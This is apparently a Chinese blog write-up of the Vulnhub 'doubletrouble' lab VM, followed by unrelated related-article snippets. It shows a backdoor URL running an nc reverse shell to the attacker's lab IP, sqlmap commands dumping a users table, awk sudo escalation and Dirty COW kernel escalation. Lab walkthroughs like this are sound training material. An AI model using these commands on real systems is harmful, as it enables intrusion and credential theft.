Vulnhub项目:doubletrouble

1、靶机地址

靶机地址:doubletrouble: 1 ~ VulnHubdoubletrouble: 1, made by tasiyanci. Download & walkthrough links are available.icon-default.png?t=N7T8https://vulnhub.com/entry/doubletrouble-1,743/

靶机介绍:看这个名字,就觉得内有玄机!双重麻烦!不过难度还是easy。来吧,开整!

2、渗透过程

首先,确定目标IP,56.163,本机56.160,探测163的端口,22和80

访问80端口,发现是qdpm的登录框,这个框架有很多现成的exp

搜一下,找到了,RCE,看看这个py文件的位置,然后复制到文件夹里 

这个文件里面的格式有些混乱,直接运行会报错。把所有换行都换回来,更在一行后面 

像这样!就没问题了 

main里面有参数,要输入url, email,password,这上哪找去呢,扫个目录看看吧

有个secret,说不定有东西。 

有个图,有过ctf经历的应该清楚,一般这种情况,肯定这个图隐写了什么东西。 

 瞅一眼,真难看!

 下载到kali,用stegseek分析一下吧,没有的apt安装一个就行

 好嘞,就知道有东西,得到邮箱和密码,直接冲!

 它上传了一个后门文件,并且告诉了使用方法

http://192.168.56.163//uploads/users/665624-backdoor.php?cmd=whoami

把这个后门文件加上就能输入命令了

http://192.168.56.163//uploads/users/665624-backdoor.php?cmd=nc -c /bin/sh 192.168.56.160 4444

nc -vlp 4444 本地开启监听

 反弹一个shell到本地吧

 python3一个交互式shell,找了一圈也没啥东西,提个权试一试awk | GTFOBinsicon-default.png?t=N7T8https://gtfobins.github.io/gtfobins/awk/

sudo一下,发现可用的二进制程序awk,awk提权方式放在上面了

提权root后找了找,就根目录下有一个一毛一样的ova虚拟机,有点懵 

回想起最初它的名字,双重麻烦,不会是套娃吧,再搞一层

利用python3开个服务,kali本地下载一下 

然后用文件管理器,VMware用xshell或者其他文件管理器搞一下,把它搞到本机来,重新再导入一次虚拟机 

 

 

运行后它的ip是56.164,那就再探测下看看,还是22和80,套娃!!! 

访问web,一个建议登录框,扫目录没啥发现,登录框?还是这么简陋的,怕是有sql注入。 

这里可以抓包,把用户名和密码的包抓下来放sqlmap里去跑,嫌麻烦直接就在页面上看看这个post包也可以弄! 

下面就是基操了,不会的去看以前的文章,里面有! 

sqlmap -u http://192.168.56.164/index.php -data="uname=admin,psw=admin" --dbs

sqlmap -u http://192.168.56.164/index.php -data="uname=admin,psw=admin" -D doubletrouble --tables -batch
sqlmap -u http://192.168.56.164/index.php -data="uname=admin,psw=admin" -D doubletrouble -T users --columns -batch

sqlmap -u http://192.168.56.164/index.php -data="uname=admin,psw=admin" -D doubletrouble -T users -C username,password --dump -batch

 

 

盲注出来了用户名和密码,ssh试一下,只能登录clapton 

发现了第一个flag 

 6CEA7A737C7C651F6DA7669109B5FB52

那就提权吧,找了找也没啥东西了,试了好几个常用的方式,都不行,那就可能是内核提权了,linux 3.2,查一下漏洞库,发现有dw,dirty cow很好     (这里忽略我已经提权成功在复现操作)

searchsploit linux 3.2 

有gcc编译环境,那就把这个.c文件传到这台机器上就行,用nc去传输下,操作在下面 

 然后编译一下,编译出个dw,给chmod 777

运行一下,好的,root了,发现第二个flag 

1B8EEA89EA92CECB931E3CC25AA8DE21 

 最后,愉快的完成了套娃的靶机!!!!

3、思路总结

总结一下思路吧!

首先,web端:框架漏洞    目录中有图片隐写    RCE执行反弹shell       sudo滥用提权root

然后,发现套娃虚拟机,通过文件管理器将它重新导入,再次渗透!

顺序还是一样的,web端:sql注入  post包  盲注    跑出用户名密码

ssh远程连接        收集信息        尝试提权        最后内核提权dw

完事收工!!!!轻松愉快~

对了,最开始的web端拿到邮箱和密码也可以登录那个框架,在里面穿个马再去控制,一样的,就是麻烦了些,有兴趣的可以去尝试下。多种方式,目标一致!

终于答辩结束,建议授予master degree,能够享几天轻松了!!!!继续努力!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/663767.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

git随记

git status 查看文件状态 git status -s 比较简洁的查看文件状态。如下代表此文件是新建的,没有被git跟踪的文件: $ git status -s ?? abc.txtgit add abc.txt 将abc添加到暂存区。后再次git status -s $ git status -s A abc.txtgit reset 将暂存…

Java中的枚举(Enum)

基本概念 Java 枚举是一个特殊的类,一般表示一组常量,比如一年的 4 个季节,一个年的 12 个月份,一个星期的 7 天,方向有东南西北等。 Java 枚举类使用 enum 关键字来定义,各个常量使用逗号(,&…

android gradle8.3 发布插件踩过的坑

之前写过gradle6.x和gradle7.x的插件,会有一些改动,到8.x我发现又有一些变化,记录一下,防止后边再遇到相同的情况 下边是插件的gradle文件配置 plugins {id("java-gradle-plugin") //会自动引入java-library、gradleAp…

【Linux】 管道扩展 — 开始使用命名管道

送给大家一句话: 人生有六个字,前面三个是不害怕,后面三个是不后悔。 -- 董卿 🔆🔆🔆🔆🔆🔆🔆🔆 命名管道的功能实现 1 命名管道的原理2 代码实…

ROS2从入门到精通2-1:launch多节点启动与脚本配置

目录 0 专栏介绍1 ROS2的启动脚本优化2 ROS2多节点启动案例2.1 C架构2.2 Python架构 3 其他格式的启动文件3.1 .yaml启动3.2 .xml启动 0 专栏介绍 本专栏旨在通过对ROS2的系统学习,掌握ROS2底层基本分布式原理,并具有机器人建模和应用ROS2进行实际项目的…

博客星球大冒险:用Spring Boot和JWT打造你的数字王国

揭秘如何在Spring Boot中无缝集成JWT,为你的应用打造一个高度可扩展且安全的认证系统。从添加依赖到创建JWT过滤器,再到实现令牌的有效性管理和刷新机制,每一步都精心设计,确保你的乐园能够迎接成千上万的游客! 文章目…

AltiumDesigner/AD添加数据库连接

1.首先确保本机电脑有无对应的数据库驱动,例如我这边要添加MySQL的数据,则需要首先下载MySQL数据驱动:MySQL :: Download MySQL Connector/ODBC (Archived Versions) 2.运行“odbcad32.exe”,如下图添加对应的数据库配置&#xf…

基于深度学习的模糊认知图方法

1 文章信息 文章题目为“Deep Fuzzy Cognitive Maps for Interpretable Multivariate Time Series Prediction”,该文于2019年发表于“IEEE TRANSACTIONS ON FUZZY SYSTEMS”。文章提出了深度模糊认知图(FCM)用于多变量时间序列预测&#xff…

一个良好的嵌入式系统框架(基于FreeRTOS)

目录 Unix操作系统里的优先级嵌入式系统里的优先级 Unix操作系统里的优先级 在《Unix传奇》中有这样一句话,用户态的进程/线程是三等公民、root线程是二等公民、硬件中断是一等公民。 在操作系统中,"用户态"和"内核态"是两种不同的…

BERT模型学习(1)

BERT(Bidirectional Encoder Representations from Transformers)由谷歌在2018年推出,迅速成为自然语言处理(NLP)领域的一个突破性成果。 基本概念 在深入了解BERT之前,需要先简单了解一下自然语言处理&a…

五分钟“手撕”链表

为了提高大家的学习效率,我把代码放开头,供查阅。 目录 一、链表的实现代码 二、什么是链表 三、链表的分类 四、链表的常见操作 插入 删除 五、Java自带的LinkedList 两个构造方法 一些常用方法 六、LinkedList的遍历 七、ArrayList和Linke…

达梦数据库写文件的方式探索

0x01 前沿 这篇文章整体算是《达梦数据库手工注入笔记》的续集,达梦作为国内优秀的信创数据库,在关基单位中拥有越来越大的用户使用量。 通过SQL注入来写文件一直以来都是SQL注入漏洞深入利用的一种方式,对于不同的数据库通常写文件的方式也是…

探索无限可能性——微软 Visio 2021 改变您的思维方式

在当今信息化时代,信息流动和数据处理已经成为各行各业的关键。微软 Visio 2021 作为领先的流程图和图表软件,帮助用户以直观、动态的方式呈现信息和数据,从而提高工作效率,优化业务流程。本文将介绍 Visio 2021 的特色功能及其在…

【管理咨询宝藏119】翰威特组织架构设计优化方案

本报告首发于公号“管理咨询宝藏”,如需阅读完整版报告内容,请查阅公号“管理咨询宝藏”。 【管理咨询宝藏119】翰威特组织架构设计优化方案 【格式】PDF版本 【关键词】人力资源、组织设计、组织架构 【核心观点】 - 城镇化建设和居民可支配收入的增长…

Python实现定时任务的方式

大家好,在当今数字化的时代,定时任务的需求在各种应用场景中频繁出现。无论是数据的定时更新、周期性的任务执行,还是特定时间点的操作触发,Python 都为我们提供了强大而灵活的手段来实现这些定时任务。当我们深入探索 Python 的世…

代理 模式

一、什么是代理模式 代理模式指代理控制对其他对象的访问,也就是代理对象控制对原对象的引⽤。在某些情况下,⼀个对象不适合或者不能直接被引⽤访问,⽽代理对象可以在客⼾端和⽬标对象之间起到中介的作⽤。 二、为什么使用代理模式 模式作…

MySQL各种锁

目录 1. 从粒度上区分锁 1.1 全局锁(第一粒度) 1.2 表级锁(第二粒度) 1.3 行锁(第三最小粒度) 2 从模式上区分锁 2.1 什么是乐观锁 2.2 什么是悲观锁 2.3 意向共享锁和意向排他锁 2.4 临键锁和记录…

【Python】 深入理解Python中的UnicodeDecodeError及其解决方案

基本原理 在Python编程中,我们经常需要处理各种类型的数据,尤其是文本数据。文本数据在计算机中通常以字节的形式存在,而字节需要被解码成我们能够理解的字符。这个过程涉及到编码和解码的概念。 编码是将字符转换为字节的过程,…

23 vue3面试重难点复习:响应式原理、特点、8大生命钩子、data数据定义、组件、全家桶

vue作为用的最为广泛的当前热门框架,总结如下重难点核心知识: 1.vue特点是什么? 1.1优点 渐进式 vue本身只提供数据响应式,需要全局缓存用 vuex,需要路由用 vue-router 组件化 封装组件,利于复用 响应式数…

k8s——Pod进阶(资源限制和探针)

一、资源限制 1.1 资源限制的定义 当定义Pod时可以选择性地为每个容器设定所需要的资源数量。 最常见的可设定资源是CPU和内存大小,以及其他类型的资源。 当为Pod中的容器指定了request资源时,调度器就使用该信息来决定将Pod调度到哪个节点上。当还为容器…